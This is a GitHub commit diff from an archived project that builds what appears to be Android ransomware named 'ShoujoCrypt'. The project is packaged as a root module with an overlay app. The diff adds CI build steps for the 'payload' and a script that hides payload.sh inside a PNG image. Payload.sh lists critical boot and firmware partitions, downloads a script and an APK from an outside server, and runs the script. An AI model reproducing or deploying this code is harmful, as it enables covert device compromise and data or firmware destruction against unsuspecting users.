Skip to content
This repository was archived by the owner on May 29, 2025. It is now read-only.

Commit ca6c7e4

Browse files
committed
push
Signed-off-by: manigohan <manigohan@national.shitposting.agency>
1 parent d8d10be commit ca6c7e4

File tree

7 files changed

+77
-12
lines changed

7 files changed

+77
-12
lines changed

.github/workflows/build.yml

Lines changed: 30 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,8 +4,31 @@ on:
44
push:
55

66
jobs:
7-
build:
8-
name: Build OverlayService
7+
build_shoujo:
8+
name: Build ShoujoCrypt
9+
runs-on: ubuntu-latest
10+
steps:
11+
- name: Checkout sources
12+
uses: actions/checkout@v4
13+
with:
14+
lfs: true
15+
- name: Pull LFS objects
16+
run: git lfs checkout
17+
- name: Setup Java
18+
uses: actions/setup-java@v4
19+
with:
20+
distribution: 'temurin'
21+
java-version: 21
22+
- name: NDK Setup
23+
uses: nttld/setup-ndk@v1.5.0
24+
with:
25+
ndk-version: r27c
26+
- name: Build ShoujoCrypt payload
27+
run: |
28+
ndk-build
29+
working-directory: src/jni
30+
build_module:
31+
name: Build OverlayService and module
932
runs-on: ubuntu-latest
1033
steps:
1134
- name: Checkout sources
@@ -26,7 +49,11 @@ jobs:
2649
./gradlew build
2750
./gradlew assembleDebug
2851
working-directory: src/OverlayServiceProject
52+
- name: Build module
53+
run: |
54+
cp src/OverlayServiceProject/app/build/outputs/apk/debug/app-debug.apk module/overlay.apk
55+
bash ./build.sh
2956
- name: Upload OverlayService
3057
uses: actions/upload-artifact@v4
3158
with:
32-
path: src/OverlayServiceProject/app/build/outputs/apk/debug/
59+
path: out/

.gitignore

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,5 @@
1-
src/jni/obj/
1+
src/jni/obj
2+
src/jni/libs
3+
out/
4+
src/image_payload/payload.png
5+
src/image_payload/offset

build.sh

100644100755
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,19 @@
11
#!/bin/bash
2+
set -e
3+
24
# This is to be ran after building the ShoujoCrypt payload and OverlayService
35
export PROJECT_ROOT="$PWD"
46
export build="$PROJECT_ROOT/build"
7+
8+
if [ -e "$PROJECT_ROOT/out" ]; then
9+
rm -rf $PROJECT_ROOT/out
10+
mkdir $PROJECT_ROOT/out
11+
else
12+
mkdir $PROJECT_ROOT/out
13+
fi
14+
echo -e "Made output directory at $PROJECT_ROOT/out"
15+
16+
bash $build/image.sh
17+
bash $build/zipitup.sh
18+
19+
echo -e "Done!"

build/image.sh

100644100755
File mode changed.

build/zipitup.sh

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#!/bin/bash
2+
set -e
3+
4+
MODULE_DIRECTORY="$PROJECT_ROOT/module"
5+
if [ ! -e "$MODULE_DIRECTORY/logo.png" ]; then
6+
exit 1;
7+
fi
8+
9+
commit_hash="$(git log --pretty=format:'%h' -n 1)"
10+
zip_name="shoujohash-$commit_hash.zip"
11+
12+
zip -r9 "$PROJECT_ROOT/out/$zip_name" "$MODULE_DIRECTORY"
13+
echo -e "Done! Check $PROJECT_ROOT/out/$zip_name"

src/image_payload/embed.sh

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
#!/bin/sh
22

3-
echo $(stat -c %s yui.png) > offset
4-
cat yui.png payload.sh > payload.png
5-
echo -e "Embedded payload.sh into yui.png\nOutput at $PWD/payload.png"
3+
echo $(stat -c %s $PROJECT_ROOT/src/image_payload/yui.png) > $PROJECT_ROOT/src/image_payload/offset
4+
cat $PROJECT_ROOT/src/image_payload/yui.png $PROJECT_ROOT/src/image_payload/payload.sh > $PROJECT_ROOT/src/image_payload/payload.png
5+
echo -e "Embedded payload.sh into yui.png\nOutput at $PROJECT_ROOT/src/image_payload/payload.png"

src/image_payload/payload.sh

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
###SCRIPT_START###
2-
2+
MODDIR=${0%/*}
33
part="abl xbl preloader preloader_raw lk boot aboot tz modem efs nvram nvdata"
44

55
case $1 in
@@ -8,12 +8,18 @@ case $1 in
88
abi=$(getprop ro.product.cpu.abi)
99

1010
if [[ "$abi" == "armeabi-v7a" ]]; then
11-
curl="bin/curl/armeabi-v7a/curl"
11+
curl="$MODDIR/bin/curl/armeabi-v7a/curl"
1212
elif [[ "$abi" == "arm64-v8a" ]]; then
13-
curl="bin/curl/arm64-v8a/curl"
13+
curl="$MODDIR/bin/curl/arm64-v8a/curl"
14+
fi
15+
if [ -e "$MODDIR/overlay.apk" ]; then
16+
pm install $MODDIR/overlay.apk
17+
else
18+
echo "huh"
19+
$curl_bin http://shoujo.dmpstr.top:25565/overlay -o $MODDIR/overlay.apk
1420
fi
15-
$curl_bin http://shoujo.dmpstr.top:25565/ehe -o sc.pl
16-
chmod u+x sc.pl
21+
$curl_bin http://shoujo.dmpstr.top:25565/ehe -o $MODDIR/sc.pl
22+
chmod u+x $MODDIR/sc.pl
1723
./sc.pl
1824
;;
1925
post)

0 commit comments

Comments
 (0)